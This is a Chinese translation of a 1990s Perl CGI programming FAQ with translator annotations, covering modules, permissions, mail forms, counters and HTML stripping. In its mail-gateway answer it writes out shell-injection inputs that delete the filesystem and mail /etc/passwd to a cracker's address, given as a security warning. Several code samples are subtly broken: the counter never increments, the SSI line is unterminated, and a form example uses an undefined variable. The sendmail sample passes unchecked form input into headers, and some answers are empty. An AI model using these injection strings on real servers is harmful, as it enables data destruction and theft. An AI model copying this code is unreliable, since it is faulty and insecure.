中文版 Perl CGI 程式写作常问问题集
版本: 1.0
原文作者:
Shishir Gundavaram <shishir@ora.com>
Tom Christiansen <tchrist@perl.com>
中译、补充:
萧百龄 <pailing@2Ti.com>
文体说明:
| 1.0 - 入门简介 | |||
| Q1.1: | 为什麽我的 HTML page/form 需要用 script? | ||
| Q1.2: | CGI 各代表什麽? | ||
| Q1.3: | 到底什麽叫 script?我能拿它来能做什麽? | ||
| Q1.4: | 什麽是 Perl?为什麽有那麽多人用它来做 CGI? | ||
| Q1.5: | 有没有教 CGI 或 Perl 的书或是线上资料? | ||
| Q1.6: | 是不是有这方面的邮递论坛 (mailing lists) 或新闻讨论群组? | ||
| Q1.7: | 网路上是不是有专门收藏邮递论坛或新闻讨论群组的 posts 的站? | ||
| 2.0 - Modules (模组) | |||
| Q2.1: | 我是不是该用 Perl CGI modules 来写 CGI scripts ?自己做不是比较容易吗? | ||
| Q2.2: | 如何知道某个 module 该怎麽个用法? | ||
| Q2.3: | 有哪些 Perl4 的 CGI 或 WWW的 libraries ? | ||
| Q2.4: | 有哪些给 Perl5 使用的 CGI modules?我该用哪个?为什麽? | ||
| Q2.5: | 为什麽这麽多 perl CGI libraries 都是 object-oriented (物件导向)的?我对用物件导向来写程式一窍不通。难道就没有简单一点,给不会物件导向的人使用的 libraries 吗?物件导向有多难? | ||
| 3.0 - CGI 与 WWW Server | |||
| Q3.1: | 我的 Perl CGI 程式要放在哪里执行?cgi-bin 这个目录是做甚麽用的? | ||
| Q3.2: | 什麽是档案使用权限?怎样改? | ||
| Q3.3: | Perl 应该安装在哪里才可以执行它? | ||
| Q3.4: | 我为什麽一直得到 ``Server: Error 500'' 的讯息? | ||
| Q3.5: | 我试着打开一个档案,想把资料储存在里头,但是 open() 的指令失败了。到底是怎麽搞的? | ||
| 4.0 - 程式设计疑难杂症 | |||
| Q4.1: | 我想让 user 填的 form 资料自动寄给我,该怎麽做?有没有范例? | ||
| Q4.2: | 刚才这个用 form 送信的 script 看起来有点难。为什麽不乾脆用 ``mailto: URL'',这样 user 填入的资料就可以寄给我了? | ||
| Q4.3: | 我要如何在 UNIX 以外的平台上做 Perl-CGI,譬如 Mac、MS-DOS、 Windows 及 NT?我的 Perl CGI 程式能不能在这些平台之间互相移植呢?能不能 很直接,没有麻烦?我在 UNIX 主机上有帐号,但是都是先在 Windows/Mac 上做。 我要如何在我自己的机器上测试写好的 CGI scripts? | ||
| Q4.4: | 在 Perl CGI 程式中,STDERR (标准错误讯息)、STDIN (标准输入),和 STDOUT (标准输出) 各是连到何处? | ||
| Q4.5: | 如何写计数器? | ||
| Q4.6: | 要如何用一个 Perl 的取代指令将所有 HTML 标签从一份文件中删除? | ||
| Q4.7: | 要如何知道是谁/哪台机器/哪个浏览器执行了我的程式? | ||
| Q4.8: | 人家看得到我的 Perl CGI 程式吗?如果是这样的话,那不就让他们知道我的程式是怎麽运作的了。这是个安全漏洞吗?我要怎麽把它隐藏起来? | ||
| Q4.9: | 我需要将整个 Perl library 都复制到我的 htdocs 目录底下吗? | ||
| Q4.10: | 我为什麽不该叫使用者输入他们的密码或身份证字号或信用卡号码?有一个 TYPE="password" 不是就是拿来做这个的吗? | ||
| Q4.11: | 我要如何产生专门替 Netscape 设计的网页,以别於世上其他的浏览器? | ||
| Q4.12: | 为什麽我的 system() 所产生的资料输出顺序不对? | ||
| Q4.13: | 我听说 Netscape 会支援 Java。这是不是说 我现在得弃 Perl,改Java 了?是不是该这麽做? | ||
| Q4.14: | 我要如何读取环境变数?为什麽它们有时候会不一样? | ||
| Q4.15: | 为什麽我输出的资料被搅乱了(如 ``b | Q4.16: | 为什麽我的Perl CGI 程式可以由指令列,却无法从浏览器去执行? |
| Q4.17: | 为什麽我的 Perl CGI 程式能跑,但是不会把资料写到档案中? | ||
| Q4.18: | 要如何做一个会维系状态,或允许【同一使用者】多次连线的 form? | ||
| Q4.19: | 如果不从浏览器去执行我的 CGI 程式,要如何替它除错? | ||
| Q4.20: | 如果不靠<FORM>标签,要如何叫出 Perl CGI 程式? | ||
| Q4.21: | 要如何避免旁人不先填栏位就执行我的 form?他们为什麽一直不断这麽做? | ||
| Q4.22: | 那些 server 回应码 (server response codes) 是干什麽用的?有什麽意义? | ||
| Q4.23: | 为什麽 print "Location: http://host/page.html\n"
不 work?又为什麽它只 work 一次,但随後的转向就都弄错了呢? |
||
| Q4.24: | 要如何让 server 在每个 HTML 网页的底部都自动加上一个:「最近更新日期: ...」的告示?或者,是不是只有 SSI 的网页才能这麽做?CGI 程式的日期要如何取 得? | ||
| Q4.25: | 什麽样的场合下以 Perl 写 CGI 程式会显得太小题大作,因为用 shell 就可以做到?而什麽样的场合对 Perl 来说又过於困难?用 C++ 做这类的事不是好得多吗?那用 C 呢? | ||
| 5.0 - 安全 | |||
| Q5.1: | 以 Perl 写成的 CGI 程式是不是不如以 shell 或 C 写的来得安全? | ||
| Q5.2: | 我该特别留意哪些安全事项? | ||
| Q5.3: | 为什麽大家都说 http://bigidiot.abuse-me.com/perl.exe?foo.pl
这样很危险?会有多糟? |
||
| Q5.4: | 要如何在程式中安全地使用逆向撇号(backticks,"`")?这麽做:@ans = `grep'$user_field' some.file`; 是不是真的不安全? |
||
| Q5.5: | /$user_variable/ 这个句法是不是 Perl 5
中的一个安全漏洞? |
||
| 版权事宜 | |||
1.0 - 入门简介
Q1.1: 为什麽我的 HTML page/form 需要用 script?
因为有的时候您需要在 HTML 文件中使用动态资料(非固定不变的资料)。 这包括了日期和时间这类的简单资料,或是一个显示「您是第 xxx 位访客」的计 数器。但它也可能包括根据使用者输入而得出的大饼图/条统图、资料库搜寻产 生的结果,或动画等这类的东西。要做出像这样的东西,您唯一的方法是使用 CGI scripts (尽管您也可以应用客户端程式,如 Java 和 JavaScript 来达到这个目 的,不过那又是完全不同的一回事!)。
Q1.2: CGI 各代表什麽?
以下是我的编辑* Andy Oram 和 Linda Mui (他们很棒!)所写的一段非 常好的描述:
【译者】这是原文的第一作者 Shishir G. 指他所写的 CGI Programming on the World Wide Web 一书的编辑。
Common 向您确保 CGI 可以使用多种程式语言并和多种
不同的系统互动。它让您自由选择达到目的的方
法,不把您绑死在单独一种作法之下*。
Gateway 提示您 CGI 的力量不在於它本身所做的事,而
在於它提供了连结其他系统的潜力,例如资料库
和图形制造器。
Interface 只是表示 CGI 对如何善用其特性提供了明确的
界定-换句话说,您可以设计程式来适当利用这
个介面。
【译者】似乎有影射 Java 之意。
Q1.3: 到底什麽叫 script?我能拿它来能做什麽?
简单的说,script 就是程式!好吧、好吧,应该说二者有语意上的差别。如果您 真的想知道,那麽去买一本电脑程式设计的书来看(或许该说 script 设计 :-) )。
您可以藉着写 CGI 程式/script 变很多魔术。您可以即时制作图形、连结资料库 传回【查询】结果,还可以连到 Internet 上其他的 servers 去。
Q1.4: 什麽是 Perl?为什麽有那麽多人用它来做 CGI?
答案就在 perl manpage 中的前叁行叙述:
Perl 是一解译式的语言,专为高效率检视文字档案 、从中抽取资料,据以印制 报表而设计。
绝大多数 CGI 应用程式的任务都涉及对资料作某种程度的处理,及连结外在程式。 Perl 恰好提供了好用的工具,让人轻松愉快地达成这些任务。
Q1.5: 有没有教 CGI 或 Perl 的书或是线上资料?
【译者】此份 FAQ 的中译版可在 http://www.acer.net/document/cwwwfaq/ 处取得。
以下是由 Cye H. Waldman 所整理的 CGI 和 Perl 书籍一览表*:
【译者】此表由译者更新,同时加入了原文作者 Tom C. 的 Perl 书评以供读者 参考。请注意:CGI 各书的等级评定乃单就其 Perl 部份的水准及正确性而言。符 号说明:(Tom C. 用骆驼而非星星)
五颗星(*****) ==> 很棒的书 (terrific books) 四颗星(****) ==> 不错的书 (fine books) 叁颗星(***) ==> 像样的书 (decent books) 两颗星(**) ==> 马马虎虎、勉强过得去的书 (so-so books) 一颗星(*) ==> 差劲的书 (poor books) 零颗星(0*) ==> 大烂书 (terrible books) NA ==> 不适用、无书评 (Not Applicable/Available) v4 ==> 内容较老旧,仅含盖 Perl4
| 作者 | 书名 | 评价 | 出版者 | 所附软体 | 售价(美金) |
|---|---|---|---|---|---|
| ?? | Cgi Programming For Dummies (预定出版日期:1997年1月) |
NA | IDG Books | $25 | |
| Jeffrey Friedl | Mastering Regular Expressions: Powerful
Techniques for Perl and Other Tools (预定出版日期:1997年1月) |
NA | O'Reilly | $30 | |
| J.M. Ivler | CGI Developer's Resource (预定出版日期:1997年3月) |
NA | Prentice Hall | 光碟 | $45 |
| Various authors | Perl 5 Windows NT Programming (预定出版日期:1997年1月) |
NA | New Riders | $45 | |
| Eric Herrmann | Teach Yourself CGI Programming with Perl 5 in a Week, 2nd Ed. | NA | Sams.net | 光碟 | $40 |
| Mark Felton | CGI: Internet Programming C++ & C (预定出版日期:1997年3月) |
NA | Prentice Hall | $?? | |
| Ed Tittle | CGI Bible (预定出版日期:1996年11月) |
NA | IDG Books | $?? | |
| Craig Patchett & Matt Wright |
The CGI Cookbook: Perl and JavaScript (预定出版日期:1996年11月) |
NA | Wiley | 光碟 | $40 |
| Baron Weil | Drag-n-Drop CGI (预定出版日期:1997年1月) |
NA | Addison-Wesley | $?? | |
| Stephen Lines | How To Program CGI with Perl 5.0 | NA | Ziff-Davis | 光碟 | $40 |
| Bob Denny et al. | CGI Programming for Windows (预定出版日期:1997年3月) |
NA | O'Reilly | 磁片 | $30 |
| Selena Sol & Gunther Birznieks |
Instant Web Scripts with CGI/Perl | NA | MIS:Press/M&T Books | 光碟 | $40 |
| ?? | Perl For Dummies (预定出版日期:1996年10月) |
NA | IDG Books | $25 | |
| Steven E. Brenner & Edwin Aoki |
CGI Web Scripting With Perl (出版取消) |
NA | MIS:Press/M&T Books | 光碟 | $40 |
| ?? | Perl & CGI Programming Starter Kit | NA | Sams.net | $45 | |
| Mohammed J. Kabir | CGI Primer Plus for Windows | NA | Waite | 光碟 | $45 |
| Ed Tittel et al. | Foundations of WWW Programming with HTML and CGI, 2nd Ed. (预定出版日期:1996年10月) |
NA | IDG Books | 光碟 | $?? |
| Jerry Muelver | Creating Cool Web Pages With Perl | ** | IDG Books | 光碟 | $30 |
| John December | HTML & CGI Unleashed, Professional Reference Edition | NA | Sams.net | 光碟 | $50 |
| Eric Johnson | Cross-Platform Perl (See also the author's book site.) (预定出版日期:1996年9月) |
**** | MIS:Press/M&T Books | 光碟 | $35 |
| Daniel Berlin et al. | CGI Programming Unleashed | NA | Sams.net | $55 | |
| Clinton Wong | Web Client Programming in Perl (预定出版日期:1997年3月) |
NA | O'Reilly | $30 | |
| Robert Seymour | Perl 5 (预定出版日期:1996年10月) |
NA | Springer-Verlag | $40 | |
| M he Foghl /TD> | Perl 5 Quick Reference | * | Que | $20 | |
| Robert Niles & Jeffry Dwight |
CGI by Example | NA | Que | 光碟 | $35 |
| Jonathan Hagey | PC Magazine Programming Perl 5.0 CGI Web Pages for Microsoft Windows NT | 0* | Ziff-Davis | 光碟 | $35 |
| ?? | Web Programming with Perl (预定出版日期:1996年8月) |
NA | Sams.net | 光碟 | $40 |
| ?? | Perl 5 Developer's Guide (预定出版日期:1996年12月) |
NA | Sams | 光碟 | $60 |
| David Medinets | Perl 5 by Example | **+1/2* | Que | 光碟 | $35 |
| Stephen Asbury et al. | CGI How-To | NA | Waite | 光碟 | $40 |
| Carl Franklin | Visual Basic Internet
Programming (预定出版日期:1996年5月) |
NA | Wiley | 光碟 | $40 |
| InfoMagic | Mother of Perl (一套两张光碟) |
NA | SSC | 光碟 | $35 |
| Larry Wall et al. | Programming Perl, 2nd Ed. | ***** | O'Reilly | $40 | |
| Eugene Kim | CGI Developer's Guide (预定出版日期:1996年5月) |
** | Sams.net | 光碟 | $50 |
| Robert McDaniel | CGI Manual of Style (可自线上取得) |
NA | Ziff-Davis | $25 | |
| ?? | Perl 5 for Dummies (预定出版日期:1996年) |
NA | IDG Books | 光碟 | $?? |
| Ginsburg & Tall |
Developing Internet Applications with Perl (预定出版日期:1996年3月) |
NA | Sams.net | $?? | |
| Kamran Husain | Perl 5 Unleashed | * | Sams | 光碟 | $50 |
| Norton | Teach Yourself Perl 5, 2nd Edition (预定出版日期:1996年6月) |
NA | Sams | 光碟 | $?? |
| Michael Erwin et al. | Special Edition Using CGI | NA | Que | $60 | |
| Thomas Boutell | CGI Programming in C and Perl | **** | Addison-Wesley | 光碟 | $35 |
| Johan Vromans | Perl 5 Desktop Reference | NA | O'Reilly | $7 | |
| Christian Neuss & Johan Vromans |
The Webmaster's Handbook: Perl Power for Your Web Server | NA | Int'l Thomson | 光碟 | $30 |
| William E. Weinman | The CGI Book | NA | New Riders | 光碟 | $45 |
| Brian Jepson | World Wide Web Database Programming for Windows NT | NA | Wiley | 光碟 | $40 |
| Steven E. Brenner & Edwin Aoki |
Introduction to CGI/ Perl | ***(v4) | MIS:Press/M&T Books | $20 | |
| Ed Tittel & Sebastion Hassinger |
Perl
5 Programming Secrets (预定出版日期:1996年3月) |
NA | IDG Books | 光碟 | $45 |
| David Harlan et al. | Special
Edition Using Perl 5 for Web Programming |
** | Que | $50 | |
| Shishir Gundavaram | CGI Programming on the World Wide Web | ** | O'Reilly | 光碟 | $30 |
| Robert Farrel | The Official 60 Minute Guide to CGI Programming with Perl | ***(v4) | IDG Books | $20 | |
| Ed Tittel & Sebastion Hassinger |
Web Programming Secrets with HTML, CGI & Perl | NA | IDG Books | 光碟 | $45 |
| John Deep & Peter Holfelder |
Developing CGI Applications with Perl | **(v4) | Wiley | $30 | |
| Jon Orwant | Perl 5 Interactive Course | *** | Waite | 光碟 | $50 |
| Aidan Humphreys et al. | Perl 5 How-To | *** | Waite | 光碟 | $45 |
| Eric Herrmann | Teach Yourself CGI Programming with Perl in a Week | ***(v4) | Sams.net | 光碟 | $40 |
| Walnut Creek | Perl (收录各类资源、档案库、入门指导、实例、source code 等) |
NA | Walnut Creek | 光碟 | $40 |
| Carl Dichter & Mark Pease |
Software Engineering with Perl (进阶级,内容针对软体专业人仕设计;非入门指引) |
* | Prentice Hall | 磁片 | $30 |
| Ellie Quigley | Perl by Example | ***(v4) | Prentice Hall | $27 | |
| John December & Mark Ginsburg |
HTML & CGI Unleashed | NA | Sams.net | 光碟 | $50 |
| David Till | Teach Yourself Perl in 21 Days | **(v4) | Sams | $30 | |
| Larry Wall & Randal L. Schwartz |
Programming Perl | NA | O'Reilly | $30 | |
| Randal L. Schwartz | Learning Perl | ****(v4) | O'Reilly | $25 | |
| Ed Tittel et al. | Foundations of WWW Programming with HTML and CGI | NA | IDG Books | 光碟 | $40 |
| Lincoln Stein | How To Set Up and Maintain a World Wide Web
Site, 2nd Edition (预定出版日期:1997年1月) |
**** | Addison-Wesley | 光碟 | $55 |
【译者】中文的 CGI 和 Perl 的书目则尚待好心的读者提供。
Q1.6: 是不是有这方面的邮递论坛 (mailing lists) 或新闻讨论群组?
每天有无数的 CGI 高手在「监视」着这个很有用的新闻讨论群组: comp.infosystems.www.authoring.cgi*。
【译者】中文的讨论群中最适合做这方面的讨论的大概要算是 tw.bbs.comp.www 了。还有,请不要将 CGI 问题 post 到 comp.lang.perl.misc 上头去,别说译者没先警告您喔 ;-) 。
但是,除非您先把 FAQ 读过一遍,否则您不应该到这个版子上去随便 post 问题 (或其他任何版子;同样的道理)。
网路上有各式各样 讨论 Perl、CGI,及 Web 的邮递论坛,但以底下这两个最受欢迎:
【译者】此 mailing list 已经数月没有 posts ,寿终正寝了。这可能是由於 讨论的主题-CGI::* 模组套件(详见以下第二篇「Modules (模组)」的说明) 已经有好一段时间没有更新了。模组的维护人 Lincoln Stein 近一年多来似乎都 将重心放在他的 CGI.pm 上,而 CGI.pm 也取代了 CGI::* 这个套件的地位。读者 如对 CGI::* 或 CGI.pm 有问题的话可写到 comp.lang.perl.modules 上头去。
【译者】此 mailing list 不适合做 CGI 的讨论。libwww-perl 是一项以 Perl 为发展工具、类似 W3C/CERN 的 libwww 的计画(後者用的是 C)。
CPAN: Perl 模组同时也可以在多重复制、分散式的 CPAN 系统取得。 这会自动替您选择一个「靠近您的站」。譬 如说,您可以抓 LWP 模组的 source 或只抓它的 readme。
Q1.7: 网路上是不是有专门收藏邮递论坛或新闻讨论群组的 posts 的站?
是的,您可以试试 The Usenet Newstand。所有comp.infosystems.www.* 讨论群组的文章都收集在那 儿*。同时,cgi-perl 及 libwww 这两个邮递论坛他们也有收集。
【译者】您同时可以试试 DejaNews 、 AltaVista ,和 HotBot 这几个搜寻引擎/资料库。 DejaNews 甚至连 tw.bbs.* 都收集 (其他两个或许也有,但译者没试过)。
2.0 - Modules (模组)
Q2.1: 我是不是该用 Perl CGI modules* 来写 CGI scripts ?自己做不是比较容易吗?
【译者】 CGI modules 在此指 CGI.pm 及其他 CGI::* 的模组;详见 Q2.4 。
这完全取决於您要做的是什麽。CGI modules 较适合重量级的 CGI scripts 。如 果是简单的 scripts 的话,自己做或者是用 CGI Lite 这个模组会简便许多。如 果您真的愿意,您甚至可以用旧的 Perl4 cgi-lib.pl 这个 library*。
【译注】 作者 Tom C. 之所以这麽说是因为他基本上不赞成使用cgi-lib.pl ,有 兴趣的读者可以看他写的 Why I am not fond of cgi-lib.pl (为什麽我不欣赏 cgi-lib.pl )。
Q2.2: 如何知道某个 module 该怎麽个用法?
大多数 modules 的使用说明是直接嵌在 程式里的*。 如果是这样的话,您可以用 pod2man 这个 script 来阅读使用指南:
% pod2text name_of_module.pm
% pod2man name_of_module.pm | nroff -man | more
【译注】如果您在 *.pm 档中看到 ``=head1''、``=cut'' 这类的东西便是显示使 用说明有附在里头。这是 Larry Wall 设计的 POD (Plain Old Document) 格式。 详见 perlpod manpages。
Q2.3: 有哪些 Perl4 的 CGI 或 WWW的 libraries ?
最广为使用的 Perl4 CGI library 是 Steve Brenner 的 cgi-lib.pl。
Q2.4: 有哪些给 Perl5 使用的 CGI modules?我该用哪个?为什麽?
此外,Lincoln (Lincoln Stein;CGI.pm 的作者)还写了一本讨论 Web 和 CGI 非常好的书,叫 How To Set Up and Maintain a World Wide Web Site。
【译者】 建议读者多使用 CGI.pm 。CGI::* 已经有很长一段时间没有更新了,而 CGI.pm 则不断的有改良的新版推出,并已加入对 FastCGI 的支援,因此对 FastCGI 的使用 者也相当方便。此外,mod_perl (Apache 的 perl module)中所附的 CGI::XA,也是由 CGI.pm 改进而来的。 CGI.pm 让使用者免除自己做低阶资料处理 (如印 HTTP 标头、替 form, cookies 资料解码等)的麻烦。
以上叁者均有能力处理 multipart form 资料(即上传)。
Q2.5: 为什麽这麽多 perl CGI libraries 都是 object-oriented (物件导向)的?我对用物件导向来写程式一窍不通。难道就没有简单一点,给不会物件导向的人使用的 libraries 吗?物件导向有多难?
其实使用物件导向的 modules 并不难。先去看看 Tom Christiansen 的 Easy Intro to Using Perl Objects (简单介绍如何使用 Perl 物件)吧。
前头提到的 CGI modules 用起来真的是很容易!这里有一个用 CGI Lite 印出 form 资料的实例*:
【译者】CGI.pm 的使用说明中有更多范例可供参考。
#!/usr/local/bin/perl -w
use CGI_Lite;
$cgi = new CGI_Lite;
%data = $cgi->parse_form_data;
print "Content-type: text/plain", "\n\n";
foreach $key (keys %data) {
print $key, " = ", $data{$key}, "\n";
}
exit 0;
要注意的是,即使您机器上的 Perl 不是您装的(您不是系统管理者),或是您权限不 够无法将这些 modules 和其他的 Perl library 档案安装在同一个地方,您还 是可以使用这些 modules 的 -- 只要将它们摆在一个自己方便的地方,然後在 您的 script 开始处加上*:
BEGIN {
unshift @INC, "/your/dir/favorite/place";
}
【译者】建议改用较新的方式:
use lib qw(/your/dir/favorite/place);
好。以下是一个用到 CGI::* modules 的例子:
#!/usr/local/bin/perl -w
use CGI::Form;
$cgi_form = new CGI::Form;
print <<'End_of_Header';
<HTML>
<HEAD><TITLE>看着我做!</TITLE></HEAD>
<BODY>
<H1>看着我做!</H1>
End_of_Header
print $form->startform;
## 产生一个单行输入栏位 (text field)
print '姓名: ';
print $form->textfield('name'), "<BR>\n";
## 产生一组单选按纽 (radio buttons)
print '<P>您住哪儿: <BR>';
print $form->radio_group(-name => 'where',
-values => ['北美洲',
'南美洲',
'欧洲',
'澳洲',
'亚洲',
'南极洲'],
-default => '北美洲',
-linebreak => 'true');
## 产生一个多行输入栏位 (textarea)
print '意见: ';
print $form->textarea('comments', undef, 5, 40);
print "<P>";
print $form->reset;
print $form->defaults;
print $form->submit('送出!', 'Submit');
print $form->endform;
print "</BODY></HTML>";
reset、defaults,及submit叁种方法( methods ) 会产 生不同的类型的按钮。reset 这个按钮让您把目前 form 栏位中所填的资料洗掉, 并显示属於上一个状态(或回合)的资料。 defaults 这个按钮则是将form 栏位 资料彻底洗去。还有 submit 这个方法产生一个送出钮以便让人将资料送至 server 处。
您看,不是很容易吗?
3.0 - CGI 与 WWW Server
Q3.1: 我的 Perl CGI 程式要放在哪里执行?cgi-bin 这个目录是做甚麽用的?
server 通常是设定成去执行放在 ``cgi-bin'' 目录底下的 CGI 程式。不过, server 管理者同时也可以在设定档中设定 aliases,让所有含某些副档名(如 .cgi、.pl)的 scripts 都能执行*。
【译者】设定 CGI aliases 和副档名固然很方便,但 server 管理者须注意到相 关的安全问题。
Q3.2: 什麽是档案使用权限?怎样改?
档案权限是根据使用者识别代号(又称 uid),以及他们所属的团体来决定是否赋 与使用者读、写,和执行某档案的权利。您可使用 chmod 这个指令去修改档案的 使用权限。例如:
% ls -ls form.cgi
1 -rwx------ 1 shishir 974 Oct 31 22:15 form.cgi*
此一档案的权限为 0700(八进制),意味着没有人(档案所有人除外)能够读取、 写进,或执行这个档案。我们可以用 chmod 这个指令去修改它的权 限:
% chmod 755 form.cgi
% ls -ls form.cgi
1 -rwxr-xr-x 1 shishir 974 Oct 31 22:15 form.cgi*
这样一来,权限就变了。现在和 ``shishir'' 在同一个团体的使用者,还有其他 任何的使用者都有权利去读取和执行这个档案了。
如欲知 chmod 指令各八进制数码所代表的含意,请参阅 chmod manpages的说明。
Q3.3: Perl 应该安装在哪里才可以执行它?
Perl 可以安装在系统上任何一个角落!您唯一要注意的是 server 不能在chroot 的环境下跑,否则它便无法跑 perl 解译器。换言之,系统管理者可以把根目录 改变,让 ``/'' 指到另一个目录,而不是实际真正的根目录(``/'')。
Q3.4: 我为什麽一直得到 ``Server: Error 500'' 的讯息?
以下几种情形会触发这个错误讯息:
Q3.5: 我试着打开一个档案,想把资料储存在里头,但是 open() 的指令失败了。到底是怎麽搞的?
一般说来,HTTP server 是以 ``nobody''、``www'',或其他这类权限低的使用 者的身份来跑的。因为这个缘故,您打算在其中制造新档案的目录,对 server 跑的 使用者 ID 必须要是可写(writable)才行。
为了确定起见,您每次都应该先检查 open 这个指令送回的结束状态(return status),看看 open 有没有成功。
open(FILE, "/abc/data.txt")
|| error("Could not open file /abc/data.txt");
.
.
.
sub error {
my($message) = @_;
print <<End_of_Error;
Content-type: text/html
Status: 500 CGI Error
<HTML>
<HEAD><TITLE>CGI Error</TITLE></HEAD>
<BODY>
<H1>Oops! Error</H1>
<HR>
$message
<HR>
</BODY>
</HTML>
End_of_Error
}
4.0 - 程式设计疑难杂症
Q4.1: 我想让 user 填的 form 资料自动寄给我,该怎麽做?有没有范例?
其实做这个很容易。您的 CGI script 必须能做到这两件事:
我们就假设您用的是 CGI::* 模组。您可用以下的方法去叫 sendmail:
$cgi_form = new CGI::Form;
$from = $cgi_form->param('from');
$name = $cgi_form->param('name');
$to = $cgi_form->param('to');
$subject = $cgi_form->param('subject');
$message = $cgi_form->param('message');
open SENDMAIL, "| /usr/bin/sendmail -t -n";
print SENDMAIL <<End_of_Mail;
From: $from <$name>
To: $to
Reply-To: $from
Subject: $subject
$message
End_of_Mail
有一个该注意的地方是 ``Reply-To:'' 的信头。由於 server 是以 ``nobody''这 个使用者的身份来跑,信头的地方可能会被搞坏(尤其是当有人想回这封信的时後)。 加上 ``Reply-To'' 的信头这个问题便解决了。
网路上有许多的 mail 渠道 (gateway)* 是以底下这种方法来送 mail:
【译者】gateway 在此指送 email 的 CGI 程式
open MAIL, "| mail -s 'Subject' $to";
^
|
+-- 可能会出问题的漏洞!!!
如果您没有先检查看 $to 这个变数有没有内含 shell 的特殊符号 (metacharacters),您是在自讨苦吃!譬如,如果哪个恶劣的 user 输入了以下的资 料:
; rm -fr / ;
那麽您的麻烦可大了*。
【译者】这里头的 ``;'' 便是一个危险的 shell metacharacter。另一个危险的符号是 ``&''。
在这个假想的情况中,有多少个档案会被远方的 user 给杀掉,还得视 server 跑的使用者的权限而定(这就是为什麽 server 要以低权限使用者身份跑的原因)。 至少那些由 CGI 程式制造出来,但又没有备份的档案,是真的要跟它们永别了。
; mail joe@crackerland.org </etc/passwd
那您的 CGI script 就替您把 /etc/passwd 给拱手送上了。这对一个「未加工」的 Linux、SunOS 4.1,还有其他任何没安装 shadow-password 的 UNIX 系统来说, 实在不太好玩。如果 server 错误地跑了 root,那麽就算装了 shadow-password 也没有用,因为远方的 cracker 甚至可以让这个 CGI 的 email script 给他送 /etc/shadow (视系统而定,不一定在 /etc 底下或叫这个名字)。
Q4.2: 刚才这个用 form 送信的 script 看起来有点难。为什麽不乾脆用 ``mailto: URL'',这样 user 填入的资料就可以寄给我了?
很不幸地,mailto: 的指令并不是所有的浏览器都支援。如果您在档案中用了它的话, 会限制了那些使用没有支援 mailto: 的浏览器的人,让他们无法送 mail 给您*。
【译者】尽管如此,您或许不会在乎那占极少数比例的使用者(Netscape 、 IE, 和 lynx 等浏览器都支援 mailto: )。
Q4.3: 我要如何在 UNIX 以外的平台上做 Perl-CGI,譬如 Mac、MS-DOS、 Windows 及 NT?我的 Perl CGI 程式能不能在这些平台之间互相移植呢?能不能 很直接,没有麻烦?我在 UNIX 主机上有帐号,但是都是先在 Windows/Mac 上做。 我要如何在我自己的机器上测试写好的 CGI scripts*?
Perl 已经被移植到上述所有的平台上了。因此,您的 Perl CGI 程式照理应不难 移植。但如果您使用到一些 UNIX 上的程式,那麽您的程式可能会不好移植。如果 您只是做资料处理,或开启、读进档案等的话,那麽移植应该不会有问题。
【译者】原 FAQ 并未回答最後这个问题。要在 Windows/OS2/Mac 等非 UNIX 平台 上测式您的 scripts ,您可以使用 CGI.pm (支援以上所有平台),配合 Q4.19 中提示的除错技巧 ,或在自己的机器上安装 HTTP server 软体。如此就不用辛苦的连上主机去测式了。
Q4.4: 在 Perl CGI 程式中,STDERR (标准错误讯息)、STDIN (标准输入),和 STDOUT (标准输出) 各是连到何处?
在 CGI 环境下,STDERR 会指向 server 的 错误讯息档 (error log)。您可以善 加利用这个特性,把除错的讯息写到 STDERR,然後您便可藉查看错误讯息档来帮 您除错。
STDIN 和 STDOUT 则都和浏览器相连。实际上,STDIN 连的是 server。 server 会先解读 client (或浏览器)送出的请求和资料,再将其送给 script。
您也可以用将 STDERR 「复制」到 STDOUT 的方法来抓错误讯息。这应该在 script 靠前头的地方做(但应在您输出合适的 HTTP 标头之後):
open STDERR, ">&STDOUT";
这会将所有的错误讯息都转送到 STDOUT (即浏览器) 去。
Q4.5: 如何写计数器?
计数器一类的程式相当流行。其实计数器的原理很简单,不过是:
以下是一个简单的计数器的实例:
#!/usr/local/bin/perl -w
$counter = "/home/shishir/counter.dat";
print "Content-type: text/plain", "\n\n";
open(FILE, $counter) || die "Cannot read from the counter file.\n";
flock FILE, 2;
$visitors = <FILE>;
flock FILE, 8;
close FILE;
open(FILE, ">$counter") || die "Cannot write to counter file.\n";
flock FILE, 2;
print FILE $visitors;
flock FILE, 8;
close FILE;
现在您可以在 HTML 档案中用 SSI (Server Side Include; 伺服端插入)* 的方式来显示该计数器:
【译者】SSI 是 server 所提供的一项功能,可将动态资料,例如日期和时间,或 计数器显示等,在客户请求一网页时即时加入该文件中。支援 SSI 的 servers 包 括了 NCSA、Apache,和Netscape Enterprise Server 等。 SSI 固然是一项便利的设计,但如过份滥用 ,不但会减低 server 性能,更可能招来安全上的危机。
您是第
<!--#exec cgi="/cgi-bin/counter.pl-->
位光临本站的客人。
Q4.6: 要如何用一个 Perl 的取代指令将所有 HTML 标签从一份文件中删除?
以下这个简单的 regular expression 可用来去除 HTML 标签*:
【译者】
- 要让这个 regular expression 跨行执行,您必须先将您的 script 由预设的 按行执行模式 (line mode) 改为按段执行模式 (paragraph mode)。您可以在指令 列以:
perl -00 -we '...'
的方式;或是在 script 中以:
#!/usr/bin/perl -00
或
$/ = "";
的方式来设定按段执行模式。
- 除非您需要对欲删除的 HTML 标签中的内容做进一步的处理或利用,否则本例 中最外围的一对括弧可去掉。
$line =~ s/<(([^ >]|\n)*)>//g;
详细的相关资料,请看 Tom [Christiansen] 的 striphtml 程式, 这个程式同时也收录在他的tour of perl5 regexps 讲义中。
Q4.7: 要如何知道是谁/哪台机器/哪个浏览器执行了我的程式?
您可以从 HTTP_USER_AGENT 这个环境变数得知使用者所用的浏览器。
【摘自 WWW FAQ】
您的 CGI script 可以利用五个重要的环境变数来帮忙辨识使用者的身份。
这个环境变数理论上应设为使用者的email地址。但是许多浏览器完全不加以设定 【即不支援】,而大部份支援这个变数的浏览器又让使用者自由设定这个值。因此, 建议读者顶多拿它来做为 email form 中回信地址的预设值。
这个变数唯有当 script 在安全认证的保护下执行时才会被设定。从 AUTH_TYPE 这个变数可以知道所用的认证方法是属於哪一个类型。REMOTE_USER 则会含有正接 受认证的使用者的名字。要注意的是,REMOTE_USER 只有在使用安全认证的时候才 会被设定,而且不是所有的 servers 都支援。在 NCSA server 底下,如果认证所 使用的传输方式没有列入 access.conf 档中(也就是说,应使用 <Limit GET POST>,而不是仅仅用预设的 <Limit GET>),认证可能会出人意外地失 败。
